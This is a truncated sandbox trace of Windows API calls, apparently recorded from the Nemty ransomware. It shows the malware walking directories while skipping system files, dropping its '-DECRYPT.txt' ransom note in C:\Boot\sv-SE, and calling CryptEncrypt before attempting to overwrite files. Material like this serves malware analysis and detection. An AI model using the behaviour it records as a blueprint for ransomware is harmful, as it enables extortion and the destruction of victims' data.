0x4f9ed80 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.003] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf09d770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf09d770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf09d770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.004] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0046.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.004] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2=".") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="..") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="...") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="windows") returned -1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="$RECYCLE.BIN") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="rsa") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="NTDETECT.COM") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="ntldr") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="MSDOS.SYS") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="IO.SYS") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="boot.ini") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="boot.ini") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="AUTOEXEC.BAT") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="ntuser.dat") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="desktop.ini") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="CONFIG.SYS") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="RECYCLER") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="BOOTSECT.BAK") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="bootmgr") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="programdata") returned 1 [0046.004] lstrcmpiW (lpString1="sv-SE", lpString2="appdata") returned 1 [0046.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv-SE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv-SE", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sv-SE", lpUsedDefaultChar=0x0) returned 5 [0046.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv-SE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv-SE", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sv-SE", lpUsedDefaultChar=0x0) returned 5 [0046.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.005] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\sv-se\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.005] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.005] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.007] CloseHandle (hObject=0x3c0) returned 1 [0046.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.008] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\sv-se\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.008] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.008] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.009] CloseHandle (hObject=0x3c0) returned 1 [0046.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.009] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf1f43d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf1f43d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0046.010] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.010] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf1f43d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf1f43d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.010] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.010] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.010] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0046.010] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0046.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.011] Sleep (dwMilliseconds=0x5) [0046.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf21a530, dwHighDateTime=0x1d561e7)) [0046.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf21a530, dwHighDateTime=0x1d561e7)) [0046.018] GetLastError () returned 0xb7 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.018] GetLastError () returned 0xb7 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0046.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0046.018] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0046.018] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="+ypRM6cYpenEL1XeT1FKKhpNCCsEA75hijhNU1DETwuKEYJdRk43NdlV201Kz5ka\r\nVDlJEEhZ3TdrYq2rjFb9J9kUWkwmsysbZdipzZGoR8DxNjX1XSX0FHbqplrMM4Va\r\n7wBu3epXwFFeTFCHfDxQI242OTwewUwwpvsQx1SU504aQaTHifBTzGFx25xIOuWN\r\nPcSeNmn/eJ9YS0j4xx8jufiW5DbuAx4UziTWkai3VY+BzqCTUZtzYC8Co1NBGL0r\r\nZriOpAETGzUNFa5Hk8hPoiq/YjBP9gp4uacvzq3dsjeIo/RxR7KF8RNCRhNs5cwP\r\nys8t5d8hiCqFbBFAYXmogw==\r\n", pcchString=0x653f2dc) returned 1 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0046.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0046.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0046.019] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.019] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0046.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0046.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, 